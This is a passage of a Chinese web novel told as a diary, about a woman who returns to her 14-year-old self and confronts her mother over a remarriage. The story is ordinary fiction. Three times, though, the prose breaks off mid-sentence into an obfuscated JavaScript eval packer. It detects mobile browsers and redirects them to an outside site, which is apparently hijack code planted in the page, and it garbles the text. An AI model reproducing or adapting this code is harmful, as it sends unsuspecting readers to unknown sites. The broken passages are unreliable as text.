《肥娟日记》 3. 日记时间:2025年9月24日周三晴 日记时间:2025年9月24日/周三/晴 日记名称:《世界上有两个娟娟,一个去远方,一个被流放。》 作者:李娟洁 ------ 我叫李娟洁,今年32……哦!不,我穿越了。 按照墙上的日历显示,目前是2007年9月24日,我与林美娟还有九天就要见面了。 我的未来生活,原本只以日记中偶尔一句的天气变化来体现出每天的不同。 虽然我在成年后考过教师编,工程师,图书馆,民政局……最后成为了公务员单位的窗口服务人员,但你问我,32岁的李娟洁和14岁的李娟洁有什么区别,我会变成哑巴。 我既没有成为妻子,也没有当妈妈,在其他同学都晒儿子进托儿所的照片时,我连女儿都当的很失败。 我时常在想,自然界应该剥夺我的生育能力,然后给那些有需要的人。 或者,女人捐献子宫可以像捐献血液一样操作。 社会就应该普及捐宫车,街头巷尾随便就有一辆义务捐宫大巴的话,女人不想生就可以去捐掉子宫,我想到时候我应该会义无反顾地造福社会。 这个子宫,随便是男人,女人,猫狗,我统统无偿捐献。 但我大脑中的天马行空在2025年都未能成功实现。 要不是这次时间送我回来,我这种人早晚也要挑个好日子去找林美娟,好在有一句话说的很对,人世间的所有相遇都是久别重逢。 我不管现在到底是穿越还是做梦,总之,我要去找那个叫林美娟的女孩,她一定在这个时空也等着我。 现在,缓慢重启的记忆在告诉我,两个娟娟的人生开端,那个即将交集的起点,是14岁的我很快就要转学去烟湖第二中学了。 灵魂里住了一个32岁女性的我和王艳霞此刻正坐在一起吃饭。 王艳霞问我:“你知道烟湖第二中学吗?” 我:“哦,知道,那所学校对面有个海王星辰影院,我小学的时候跑去看过《哈利波特》。” 王艳霞的冷淡表情像在通知所有人得知一个噩耗:“你外婆说,你张叔叔家在那附近,如果时间来得及,下周我们就搬过去了。” 我明知故问:“你们不是还没了解彼此,你明天只能算是认识对方,就打算同居领证了?” 王艳霞像在看着一个老妖怪:“你……” 我拿出大龄剩女的厚脸皮:“怎么了?对了,那个男人长得帅不帅?” 王艳霞皱眉:“你今年几岁啊,你管人家叫什么?而且你小小年纪怎么和你家小秋阿姨说一样的话,什么男人女人的,你害不害臊?” 我又不是真正的小孩子,我是一个能跟我妈聊男人各方面的成年女性,在我看来,女人和女人是需要经常性聊男人这个话题的。 因为有经验的女人们一定会对天真后来者们说出那经典的两字台词。 [快跑!] 不过现在的重点是,这个小秋阿姨是我妈的好闺蜜和死对头。 两个女人几十年前曾在一个地下商城卖过服装,她们的爱好是炫耀和攀比,说是好朋友,却能一辈子以互损为乐,把友情演绎成了一种女性之间的微妙敌意和护短情节。 因为她们真的太喜欢背地里编排对方了。 只要发生了一点摩擦,两个女人没过多久会借助他人之口传播负能量。 我一度怀疑她们会闹翻。 但直到我所真正看见的晚年岁月,小秋姐和艳霞姐都是彼此的广场舞搭子,她们永远每天手挽着手逛早上的菜市场。 此刻,容我去回想两个老太太未来的模样,就会想起一句话,王艳霞失去了她的敌蜜小秋,就像西方失去了它的耶路撒冷。 而在刚回来的我看来,两个女人的最直接区别在于,小秋阿姨只谈男人,不想做家庭主妇,王艳霞没有和一个男性真正地谈过恋爱,却结了两次婚。 我从未来过来,如果给我选,我肯定支持小秋阿姨,但是王艳霞如果不再婚,我就不能跟着转学了,这可就是改变未来时间线的大问题了。 我做了一个对不起小秋阿姨的决定。 “妈,你说得对,咱家是需要一个男人,一个家有了男人才是完整的,而且学校里面的女孩子都有爸爸,我也想要张叔叔这样的男人做我爸爸。” 我说完这句话,翻滚的胃部都开始出现不适症状了。 第一,我的内心不是小女孩。32岁的我没睡过任何一个男人,却深知自己早就对男人没有幻想了……我不需要父爱,这比让我假装/性/高/潮还挑战演技。 第二,张国兴只有在第一次见我时承认过我作为人类的存在,其余几十年,我们都形同陌路。 我这来去自如的女儿“恋父”情怀,具体到底有没有骗到我妈呢? 王艳霞对我14岁的身体年龄似乎产生了一丝怀疑。 她好在是没有多想,而是习惯性推开了我的多嘴提醒。 “大人的事情你现在还不懂,男女选择对方就是一块搭伙过日子,你明天不要在饭桌上丢脸就行了,客人面前,筷子收点,你舅舅还给你买了一条新的公主裙。” 我一下子就呆住了,筷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464123|185441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也“啪嗒”一声砸在了桌上。 成年了的我怎么给忘记了? 属于明天这场鸿门宴的真正考验,是我在王艳霞的相亲对象面前会被变成一个宇宙无敌大笑话。 我到现在还记得那条裙子被迫塞入我这个庞然大物的可怕场面。 我的继父和他的儿子统统都在嘲笑我竟然是这么一个可笑的胖子。 为什么?想到这里,我真的快疯了,为什么重生以后我还要穿这条该死的白色花苞裤公主裙?但我到底是不敢反驳,因为我现在很怕再也见不到林美娟,我开始深呼吸,给自己一点点催眠…… 喂喂。李娟洁…… 要相信自己。 这件事跟减肥不一样,你……一定是可以的…… 就像眼前发生的这一切一样。 我爸爸挥一挥衣袖,不带走一片云彩。 王艳霞嫁给了她第二个老公张国兴,她的包袱就是173斤的我。 和王艳霞一样,张国兴也有一个儿子,所以他们三个才是一个家的成员,我是多余的,拖油瓶三个字更是从这里开始成了我一辈子甩不掉的外号,直到成年后都没办法彻底摆脱。 在回到过去之前,我对我的人生时常感觉到无能为力,因为从来没有被任何一方接纳,我就像个垃圾袋,风让我去哪儿我就刮向哪儿。 胖,一直是我身上最小的缺点,窝囊,自卑,避难,拖延,缺乏长期坚持主义,我清楚自己有很多很多的毛病,却放弃了探究我32年失败的解决办法。 当下对我来说,最坏的一个假设也就只有一个……那就是这本身是一场梦。 在此基础上,所有能帮助我不在九天后提前“苏醒”的事,我都不认为它们有多糟糕。 王艳霞今天和我说,她要和一个家附近的心怡男士从此定下来了。 在我的老家,女儿不享有遗产继承权,如果有过失败婚姻,初一也不方便回家给父母拜年。 王艳霞这次的再婚是在我舅舅和外婆见证下促成的。 她很怕不成功,这样一来,她后半辈子就无法在自己母亲和弟弟面前抬起头做人了。 所以,我也必须为了林美娟而好好扮演一个14岁的肥娟,如果能亲眼再看到她一眼,让我在旁边鼓掌祝福我妈都没问题。 就算是不为了我自己,我也可以去为林美娟而活下去的。 我要在这个时空中救下她。 我要让她长大,看她变成三十二岁,看她如何当一个女人。 少女的骑士精神和救世能力,只属于她的公主…… 和她自己。 4. 日记时间:2025年9月24日周三晴 但,我还是发现了。 我和王艳霞好像只要存在于一种气体下就会不断地吵架,虽然,已经知道明天是一场一致对外的母女仗,这也不影响今晚的共存局面充满火药味。 “……妈,我都要转学了,为什么今晚还要写作业?”我拿着一张语文试卷表达强烈抗议。除了根本没有书写痕迹的两页空白阅读理解,我早就看到这张试卷的大作文主题是“赞美妈妈”,初中作文可是要写够800字的,所以我必须把它赖掉。 我又失败了,王艳霞是谁啊,她根本不给我不想写完这张试卷的理由,她还特地跑来书房看着我。 不管是几岁的王艳霞,只要她还是我妈,记忆里的她永远是要穿着她那条大红色吊带,套着华丽花哨的睡裤,将大腿盘坐在某处,然后随手打开一包瓜子花生,一边给我制造噪音一边监视我的。 我好恨啊。 我心里的苦大仇深和一个14岁的肥胖少女终于重合了。 我发誓今后也将恨中式教育一辈子,却不敢有丝毫穿越者的越线,只能时不时开小差,用玩笔帽和啃指甲的功夫来对抗我老妈从背后投来的视线。 因为我怕王艳霞,就像一只耳怕黑猫警长,小燕子怕容嬷嬷,孙悟空怕紧箍咒,这是本能。 也是这个时候,我看到了楼下。 到目前为止,穿越对我而言都没有实感。 既不特殊,也不感动,但我家这个房子周边的生活场景,又是我记忆里很重要的一个锚点。 我看到路口的江苏供电局专用电箱了,这个电箱是连接着我家窗口这个路灯的,但是它是坏的,从来没有人修过,所以蚊子很少,附近有个陌生又熟悉的老奶奶此刻正在楼底泛黄的树木下,很多老人都会来这里乘凉。在她的旁边,小茶几和四五个小凳子像小动物一样围绕着,来楼下小卖部的小孩子们经过她,会绕过她的凳子。她看见了,目光就会追随而去,混沌的眼珠露出一种羡慕。 这种眼神,我好像在哪里见过。 仔细一想,我觉得居然是从以前镜子里,从我自己身上看到的。 我算上前前后后的岁数,也没有到老年,但是我突然觉得我就像楼下那个老奶奶一样孤独。 于是我做了一个非常错误的决定,我在王艳霞面前又暴露了一次32岁的真实年龄,我对着窗边“老成”地叹了一口气。 我妈也去看了一眼楼下的老奶奶,但她误会了我的意思,我其实并不是在同情谁,我是在同情自己。 王艳霞却说:“人的年纪还很轻,身体健健康康的,这还不好啊?谁不想一直不变老,谁不说年轻好。” 我抓了抓脸。 “年轻就是人生巅峰,老了就是人生低谷吗?那有没有一种可能,失败的人生可能从开始就注定了,像我,就活得非常失败。” 立刻,我的耳边就轰轰烈烈地开始了一场大人的说教,“啪!”王艳霞猛地一拍书桌,冲着我大声批评了起来。 我的耳朵也开启了智能自动屏蔽。 “你都能上学,每天都有饭吃又饿不死,哪里活得失败?你看看人家贫困山区的,你已经是享福到家了。” 王艳霞这辈子第一次这么有良知,但她甚至没给山区小孩捐过款。 我背对着她继续胡说:“谁说小孩没烦恼,做梦不担责,小孩要写作业,做梦也要写作业。” 看我根本没一点听得进父母话的样子,王艳霞明显也开始有点不想理我了,她横着看也不顺眼,竖着看我也不顺眼,但她就是不赶快走,这搞得我们的气氛变得很痛苦。 但我知道她不高兴的理由,成年人都这样,未来的我自己有时候也这样,我们总是小气得不容许小孩质疑一点自己的观点,即便心虚也时常存在。 王艳霞也觉得她不能放过我,她酝酿半天,找回立场。 “歪理一堆,作文倒不会写,明天去学校挨老师骂。” 我偷看到她举着梳子,我妈明显在用这个动作控制她教训我的威严程度,这位王女王气势很足地道:“你刚才会说这些话,都是因为你现在还年轻,所以你才质疑你妈妈,等你做了妈妈,你就会知道什么是对错了,你以后吃过苦会回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464124|185441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来谢谢你妈。” 说完她才大发慈悲地离开了我的房间。 徒留我用垂死的目光继续审判我作文的标题,还有,背地里更疯狂蛐蛐王艳霞刚才的那种出土文物观点。 ——哦,做了妈,会发现自己的错的,那你王艳霞的人生又全对过吗?让我来告诉你吧,在现实面前什么都不堪一击,你女儿已经把后半辈子该走的错路都走过了。 我在未来18年最想对王艳霞说的真心话,甚至到此刻都没变过。 “妈,不生不苦,既然讨厌我,你到底……为什么要生下我呢?” 学生护眼灯变得刺眼,我32年来的情绪又快要爆发了,面前灯管内壁的烤漆折射出了我模糊的脸。 也许真的是“做梦”的关系,我有点看不清我自己濒临失控的表情如何,连对周遭的真实感都降低了。 对这个包围着我的家,“梦”里的我是那么陌生又熟悉,就像我对我妈的感觉,雾里看花。我应该是真的存在于这个时间,又好像被时间阻碍着不能出门去找到林美娟,明明我们的距离说远不远,说近不近。我现在每时每刻最害怕的就是突然醒过来,然后就一切白搭了。 千万不要,拜托,这个梦,再久一点好不好。 其余的事情,现在都不重要,改变林美娟的命运,才是重点。 我只能告诉自己,今晚就尽量安分点闭上眼睛吧,九天后你就能看见你的林美娟了。 我将此事很快抛至脑后。 今晚,是我32年来第一次不馋夜宵,因为我突然又开始拥有了家庭作业。 不知道这段日子过去能不能减肥,此刻我坐在书桌边,也保持一心一意的样子写完了试卷上的800字命题作文。 《敬伟大的母亲——地球》。 “地球母亲很伟大,因为她哺育了60亿人。” “我觉得,人类都很坏,人类一点也不有趣。” “地球还是快点毁灭他们吧。” 我就是打死也不赞美王艳霞这个不好好当妈的,我要一直讨厌她,像她讨厌我一样。 5.日记时间:2025年9月25日周四晴 有时候,我发现自己就像另一个王艳霞。比如今天起床,我看着镜子,突然就觉得自己除了胖一点,遮掉眼睛的部分和她几乎一样。 但这也许根本无关紧要。因为似乎从人生的某一个阶段开始,我早就悄悄发现了我和她哪里很像了,这都不用我回到十四岁才能被证实,我就能轻而易举在我的性格中找出我妈的痕迹。 她以前每次一被外人说,你女儿长得和特别像,就会说:“她才不像我,她比较像她爸。” 上辈子,我曾为此失落过很多次。 但现在想想,王艳霞这是生怕别人以为我是抱来的,她才会这么说,因为我这么胖,是让她觉得很丢脸的事吧? 这个女人,真是的。她知不知道她把最不好的地方都遗传给了未来的我? 或者说,我几乎是一个集齐了王艳霞身上全部缺点的李娟洁。 你们有人会莫名其妙脑补生活中的意外吗? 你们会一吵架就和人翻旧账,一桩桩把以前没敢说出来的委屈都拉出来抱怨自己没得到过爱吗? 你们会通过跟别人比较来确认自己的位置吗?比如说,别人有的我没有,我就会很在意,整天患得患失的。 还有,你们有人会爱吃凉的食物和别人的剩饭吗?我猜前者会有,但一定有大部分人都受不了吃剩饭的感觉。 但我和王艳霞就会吃,我们好像从来不嫌弃别人的口水。王艳霞最喜欢吃鱼冻,凉掉的馄饨和隔了夜的蒜薹了,一直到她的晚年都是这样,工作以后,我有时候会让她稍微改改,可我自己背地里也改不掉这个习惯。 每到这种时候我就想不通,是,把餐桌上剩下的饭菜倒掉,是一种浪费,但为什么别人就可以完全不把浪费当成自己身上的负罪感呢? 都怪你,王艳霞。你这个当妈的,到底有什么资格先说出不喜欢我? 我收住小肚子,把赘肉和两腿哼哼哧哧套上拥挤的白色蛋糕公主裙,脸气红成了一块假装不在乎的猪肝。 没有人会喜欢自己女儿长得不好看,但就连她也看不起我,我想我有理由坚持执行昨晚所想过的“讨厌王艳霞一辈子计划”了。 而我之所以现在又想了一遍到底要不要远离我妈的影响,是因为林美娟。 林美娟昨天来我的梦了。 在我32岁的时候,她会固定造访我梦里面的边边角角,这一次见到她,她依旧是以一种国产少女的姿态,大咧咧展示着笑容。 我俩还如出一辙地来到了前世最喜欢的鸡排店门口。这是我们上辈子初遇的地方,位置就在烟湖中学,就连炸鸡店的老板都长得一模一样。 这种场景,再熟悉不过。以前,我肯定是跟林美娟说过这些事情的。死去之前的她也的确在我的少女时代替我分担了不少烦恼。她总是陪我忧郁,替我开心,即便是在这个梦里,她也全肯定地注视着我的眼睛。在其他人还把我视作肥娟时,我能感觉到她在共情我,我的女孩会以一种我后来再也没感受过的“同仇敌忾”无条件支持着我,事实上她根本从不质疑我所诉说的不快乐,而是只完成一个朋友之间的最高忠诚。 “啊?是因为你妈前几天再婚,你才转学来这所学校的?你和你继父他们原来都相处的不好?那个男人的儿子还在背地里骂你胖?他大脑有毛病吧!” 她很不爽地问了一句,挠挠鼻子的我小心看了一下我们的四周围,能看到林美娟的运动包背带一条背着,一条垂着。 与此同时,我们还在听一个她的MP4,耳机里面循环的是我听不懂的东方神起。 这让林美娟整个人特别叛逆,有点劲劲的,配着她鼻中,脸颊和脖子都透露出初中走读生的黝黑色,我觉得梦里只有一双饱含愤怒的眼睛是亮晶晶看着我这边……的。 这种散发热量的女孩子,正是她最特别的地方,也正是我的全部。它们像一帧帧的电影,变成了我成年后的每一页“肥娟”日记。 在我这里,林美娟是不存在于任何“正常”表达中的少女,她不是什么洛丽塔,不是什么水冰月,她只是一个14岁还爱和我一起在校门口吃鸡排的初中女生,她不喜欢粉红色,从来没有喜欢现实中的男生,她和我一样不漂亮,但我们就是两个最爱对方的女孩子罢了。 我还听到这个很不“少女”的林少女很大声地骂了一下那个人。 “靠!都什么东西啊就这么瞧不起人,他知不知道自己长什么样子啊?他才丑的要死好不好,你可别听任何人的!就现在,你就做你自己!你干嘛管他们怎么想呢!是吧!” 她说完,我立刻感觉到了一种陌生的,几乎实质可触的心跳。 我在通过一个梦,去触碰那双想要又得不到的少女眼睛表层,这种美而珍贵的梦的边角料,让我穿越回来的身体更落在了实处。于是我醒来后,变得更想要找到梦里的另一个叫‘娟娟’的女孩了。 一个名叫李娟洁的少女,在清晨想念另一个叫林美娟的少女了。 可除了白色蛋糕裙,对我不友好的,还有房间里面没有丝毫变化的体重秤数字和紧随其后来到的一群……人。 --------- 我叫李娟洁,今年14岁。 今天是我不用做大人,不用上班,不用被社会称作32岁大龄肥胖剩女的第二天。 我妈王艳霞今天穿了一件精心挑选的红色旗袍,手腕上还套着一件她平时根本不舍得戴的玉镯,在我外婆和舅舅将那个男人引进家门时,王艳霞的脸上迸发出一丝小女人的羞涩,那男人也回以一个老实巴交的淳朴微笑,这一刹那,我开始欺骗自己他们未来也许是幸福的,但随着记忆涌上,又觉得男女之间所谓的幸福,其实还是只存在于片刻的想象会更好。 一想到以后,我现在就开始忍不住用一种悲观的眼神注视着我妈了。王艳霞只顾着她自己,她还是那么不在乎我,我于是成了一个过于庞大的背景板。 偏偏我舅舅这个介绍人此时还来了一句:“姐,这是国兴,国兴,这是我姐。来来,你们坐一起,娟娟,你和哥哥去房间玩吧。” 为了不让我妨碍什么进度,我和上辈子一样被请到了旁边的房间,面前的是一个也才十几岁的小男生。 他长得就像一个烟湖中学学艺术的高中男生,说实话,他的脸老得像成熟男人,整个人最青春的只有脸上的那些痘。 这个老男孩还对着我发出了一声蔑视我身材的贱笑。 我这种老阿姨,理论上也是不可能跟一个小屁孩计较的,我说过我不能搞砸这一切。 而且穿越一次,以普通人的智商来说,一切就应该大差不差。我们的生活毕竟不是什么小说,像什么一朝重生实现上辈子的遗憾或者中个五百万什么的,我根本从来没想过。 我不指望拯救任何人。 但是我也是一个人,以前可从来有人告诉过我,上辈子的我还听到过以下的这种“对话”…… “小肥婆,你有32c吗?” “你妈是母猪,你是小母猪,你们母女俩奶都好大啊。” “我抓!哈哈哈!坦克!母猪!!” 当我的胸上挨了一下,疼痛是延迟的,紧随后的是懵。 再抬头看到他冲着我狞笑,以及这个人在狠狠地抓了我之后表现出来的坦然,我真的完全懵在原地,一种浑身爬满虫子的恶心感包围了过来。 这不是和我开玩笑吗? 是,多年来我内心是一直很“怕”这个家。很多时候,在外边就算受委屈,我也不会想回到这里。但我一直只是简单地以为自己怕面对不属于我的饭桌氛围,怕被另外三个人当成陌生人对待,却没想起来这段真正留给我心理阴影的噩梦…… 你爸的。 叔可忍姨不忍。 我上去就给了这小子□□一脚。 “去死吧!!!!!!” “啊啊啊!!!!” 我刚踢了上去,这个人立刻倒地不起了,与此同时,王艳霞和所有大人们冲了进来。 “你们在干嘛!娟娟?你和哥哥这是怎么了!他怎么躺在地板上了?你们打架了!”我舅舅问。 “我的胸部,刚才被哥哥得手摸了!”我回答。 张国兴臊得大声道:“别瞎说啊!这……这种事情根本不可能!” 我用了这辈子最大的大嗓门使劲吼:“就是真的!!!哥哥是变态!!!!哥哥是流氓!!!!哥哥和电视上被警察叔叔抓起来的坏人一样抓我的胸部了!!!” 我还没彻底发泄后,一只手从旁边用力抓住了我向后拖拽。 我使劲朝那个人扑腾几下,他爸爸已经过去救人了。 这对父子就这么跑了,留下一堆烂摊子还没完,我也没多想直接转头去看身上的那只手,就看到王艳霞用一种煞白煞白的表情绝望地看着我,她正恼火地扯我衣服,舅舅和外婆则带着丧气谴责的表情,他们居然……都在怪我说了实话。 我当然没有露出不敢相信的眼神,我觉得王艳霞是这种妈妈,是我早就应该认清的残酷现实。所以我只是无言以对。 倒是王艳霞还有话说,我感觉到了肩膀上那条内衣胸带被扯出来的羞辱感,“李娟洁,你看看你做了什么!你像个女孩子吗!”王艳霞怪有脾气地辱骂起了我。 我做了什么? 你这个当妈的,为什么不看看自己都做了什么! 对了,我之前说没说过,我和王艳霞是那种一吵架就喜欢拼命翻旧账的人? 于是在我外婆和舅舅的见证下,我和我妈开始了一场荒唐的争吵,这个压根没想过自己女儿已经32岁的女人被我一并炮轰了一把。 “王艳霞,我受够了!你能不能不要像你的名字一样看男人纯纯就是眼瞎了!” “你可不可以不要梦想做男人嘴里的好女人!!” “好女人在2025年已经是一个贬义词了!!” “它和钻戒一样随着经济下行而彻底贬值了!!!” “你以为结婚就能有个人给你一辈子是不是!其实只有不结婚不生孩子,一个女的就有时间去干任何事情!” “或者……你能不能……把你这么爱男人的那些爱分给一点我啊,我……真是看不下去这个不争气的样子了!我命令你!不许再婚!不许再婚!不许嫁给那个人听见没有!” …… 老天爷。 如果我要是早点知道自己今天这么勇敢,这么能一口气呵斥住所有人,我一定得提前准备一台摄像机记录下这所有的经典名场面。 但是,我必须说,我是真正做了才发现,世界上本来就没有什么可怕的事的,有一句话说得好,当你不怕的时候,就该轮到别人来怕了,现在的情况就是这样的,我搞砸了一切,但我好像没有那么害怕。 与之相反,我妈被气哭了。 王艳霞哭着凶我:“你才多大,你凭什么不许,男人不养我,你养我?你可以一辈子不嫁人做我女儿吗!” 我大声说:“我可以!” “……” 我又问:“那你呢!王艳霞!我问你……” “你可以一辈子不嫁人只做我的妈妈吗?” 这一天,我终于说出了我的真心话。 其实,我只希望王艳霞不要嫁给那个让她再度不幸福的人,这很过分吗? 所有人现在应该都很不想理我。 一场相亲见面,让外婆和舅舅颜面扫地,他们连晚饭都没有留下吃一口,可我本以为事情到这里是我的全责了,我还是没想到一个蝴蝶效应会发生。 张国兴父子走后,天很快黑了。我呆在房间里,王艳霞在客厅,我现在突然不敢去面对她了,可我有留心家里面的每一丝动静。我希望她如果真的受不了,能大声骂一骂我,但王艳霞在沉默一下午后,给我外婆打了一个电话。 当一个年老的女性声音缓缓地钻出发烫的电话听筒,我能远远听到客厅的椅子动了,王艳霞独自一人挣扎的心理发生了剧烈的变化。 我探出头,她那头还是乌黑发亮的发丝有几分衰老,但来自我亲外婆的问候,让她变得再不那么好强,而改成低着头面对窗外。 在她眼里,母亲也是个戳中委屈点的称谓吧,所以她委屈着看向天空眼眶在流出水痕,两侧垂挂下来的脸颊肉在微微发抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468995|185441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就现在,我想知道,王艳霞,你经过了一下午在想什么? 一语不发的王艳霞站在门口,那是我从来不曾见过的受挫模样,是我不懂的表情。我在月光的照拂下,看着一头母狮子也成为了一只对她妈妈露出了粉肚皮的小刺猬,我真的想知道她有没想过我也是这么失望过妈妈缺失的爱呢。 可我的妈妈,你又为什么要这样仰着头,轻轻地吸着鼻子才敢哭出来呢,是不是你也已经习惯眼泪掉下来,但周围永远也没人会为她帮忙擦擦了脸颊啊。 发抖的我变得既有共情她的能力,又故作冷漠地做着旁观者。 我看着王艳霞穿着她的红色小吊带,她把月亮一样雪白的胳膊对准我的心脏,我确信,我看到了我母亲那带着微微赘肉的肚子。这是我从生育过的女人身上才能看到丰满型美,但原来美丽的母性光辉也存在于我的母亲啊,只是我也第一次感觉到了一种陌生的冷,这一切都因为她哀求我外婆的弱势形象,“妈……你根本就不知道,这么多年了,我到现在只想……在过生日的那天,能吃到一碗你亲自下的面条,就是你小时候藏着不给我吃的长寿面,明明我和他都是你生的,但那碗面却从来没给过我,妈,为什么你要这样对我……你从来都不尊重我……你从来都只看我一个人陷在这种事情里,你是不是很开心看到自己的女儿变成这样啊!” “……” “是,我的不开心都是我自找的,可……妈,我不想再找男人,我是想要我的妈妈安慰安慰我……我真的没想到……连你也来欺负我……我是你的女儿啊……妈……” “为什么你们所有人都不把我当回事!!” “就是因为你从小到大都这样对我!!有什么问题你都朝着我来从来不骂你的儿子,而我只要每一次去向你表达这些问题……你就会和我装傻让我不要再提了,你还会怪我记仇你……可你难道就没有错吗……妈,我过成现在这样……你真的不觉得自己有错吗?” 我的整个心脏,都在为这个伤心透顶的人形刺猬而疼痛,我的有什么地方,已经因为妈妈的眼泪而彻底投降了。 我的外婆没有解释她为何总在偏心的理由,但我在房间的门板后听到了一个足以解释一代人心结的标准回答。 “霞啊……你说你小时候吃不到弟弟的那碗面,可你太婆婆连一个名字都没给我起啊。” “……” “……你不知道,我的妈妈,连一个名字都不给我起啊,而我已经七十六岁了,我也从未得到过来自我妈妈的一个拥抱啊。” “……” “你要是问我,我爱不爱你,像不像爱你弟弟一样爱你,我想了想你刚出生时手脚肉团团的可爱样子,心就会软软的,那我一定是爱的,可妈妈好像也不是很会爱你……霞啊,我觉得……最坏的原因可能是……我们都投胎做了一样命苦的女人吧。” 外婆又重复了刚开始的那句话:“……霞,你说你吃不到弟弟的那碗面,可你太婆婆连一个名字都没给我起啊。” 这一晚的我似乎彻底弄懂了我以前不知道的两件事。 其实,真的很脆弱的大人,今晚有两个。 我妈妈一生所追求的,不是她自己说的丈夫,是来自她妈妈的夸奖和鼓励。 该在今天穿上公主裙的人,不是我。 四十岁的王艳霞才是那个需要小熊玩偶,白色公主裙和玻璃水晶鞋的“小女孩”。 她需要的,只是来自她妈妈的爱,这真的很不可思议对吧,但这何尝不是李娟洁以前最想要从王艳霞这里得到的呢。 我又开始看着窗外的路灯和那个老奶奶。我现在变得很平静。 说起来,我有没有说过,我未来还是个……对写作和文字很有热情的李娟洁? 在公务窗口当牛马上班的我是很平凡的。 我的底色是弱小的,工作的地方没给过我任何工资以外的成就感,我也通过和别人比较来确认自己应该做什么。 看别人做,我才敢做,除此之外,我别无选择。 可有个小时候没来得及实现的事情一直是我的梦想,虽然后来也因为一些事情而淡忘了,但我现在决定在这个梦里试试看向外界说出来了。 “蒋老师,我妈妈忘记通知你了,其实我很快要转学了,还有,那篇赞美妈妈真的很伟大的作文,我已经写好了,是一篇散文,我明天就带去给你。” “娟洁,你的散文叫什么名字?” “我的散文名字叫《红色的河》。” -------- 《红色的河》 作者:李娟洁 脐带,是老家一条红色的河。 这条河边有太婆婆,外婆,妈妈和我。 老一点的人说,红河从山中来, 但也从一声啼哭来。 隆起的腹部山脉被手术刀拨开,她们的红,也在一点点苍白。 河边的太婆婆说嫁鸡随鸡,嫁狗随狗。 怪只怪,天不生无用的河,你天生是河,不然你出生时开山凿地的痛苦从何而来。 于是,红色的她们又盼起了迟迟不来的男孩。 等那一滴血落下来,女儿也将不再回来,或又移山填海。 …… 我叫李娟洁,今年14岁,这是我回到过去的第三天。 上辈子,张国兴和王艳霞也是没爱过彼此的半路夫妻,当时领证是我妈要求的,但她是保守的人,内心不允许自己跟人非法同居,但她没想到第二任丈夫也不是省油的灯。 如果说第一次婚姻,问题出在我生父的不踏实上。 张国兴就完全是那种……你和他过上日子才能品出味道的男人了,他让我对“老实”二字陷入了恐惧。 现在时间线改变了?我还能准时见到这个世界的林美娟吗? 我暂时不知道。 可今天早上起来,我和王艳霞发生了一次对话。 我当时说:“对不起。” 王艳霞答:“我知道。” 我沉默:“……” 然后她说:“你还是会转学。你舅舅说了,让我们回你外婆家。” 6.日记时间:2025年9月25日周四晴 日记时间:2025年9月25日/周四/晴 日记名称:《家是世界上最小的鸡蛋壳,里面住着外婆,妈妈和我。》 作者:李娟洁 ------ 夜深了,我洗好澡,又主动跑来和王艳霞躺在了一张大木板床上,明明好多年没跟自己妈妈睡了,恢复成小女孩的我枕在她刚洗过头发,散发母爱气味的肩窝,还是觉得不自在,然后我的一条腿上就被我妈用一巴掌给扇疼了。 “嘶,你干嘛?”我龇牙咧嘴着问。 “哈哈,你自己看,蚊子是不是都比较爱咬你?”王艳霞抬起掌心,给我看上面的一滩扁扁的红色,她笑起来的样子也让我觉得有点莫名安心。 比起看她抱着电话哭,我还是想看王艳霞对我笑,她这种表情,会让月亮都心软下来。 也许是因为张国兴的事吧,她今天晚上对我的唠叨很少,不说我胖了,也不说改嫁了,但正是看出她的情绪不好,我才觉得王艳霞需要我的陪伴。 虽然我不是真正的青春期少女,可我会觉得母女深度聊天超级尴尬。 但我最害怕的是,这是一个终生仅有一次的开窗透气机会。 过去注视王艳霞这张脸的时候,我曾以为我妈是永远不可能爱我的。但母女这种关系是连接着生命线的,越是性格相像的母女,感情浓度就会越复杂,我也是王艳霞的影子的一部分,可越像,就越会以同样的伤疤报复彼此,也许正因为我和王艳霞是落地碎掉时裂痕都相似的两块玻璃碎渣,我们有被现实划出过一模一样的口子,我们才是真正的母女吧。 我听到王艳霞在对我总结这几天的内心感想。 “李娟洁,其实你妈妈要的真的不多,我只要我的女儿一辈子快乐,现在事情既然已经这样了,我也不要求你减肥了,去了新的学校,多多交朋友,好好考高中。” 我叫李娟洁,这是我回到过去的第三天,今天晚上,我和我妈王艳霞第一次睡在了同一张床上。 我回答了她。 “好,王艳霞,我们都要一辈子快乐。” “我一定会去找到那个……命中注定的朋友的。” ---------- 烟湖第二中学的转学手续办的还是很快的。 我们母女也一起先住到了外婆家,这里是城市的边缘,挨着火车站附近,夜里特别吵,但这不是住娘家带来的最大问题,我觉得……对我和王艳霞感到很不习惯的人是我舅妈。 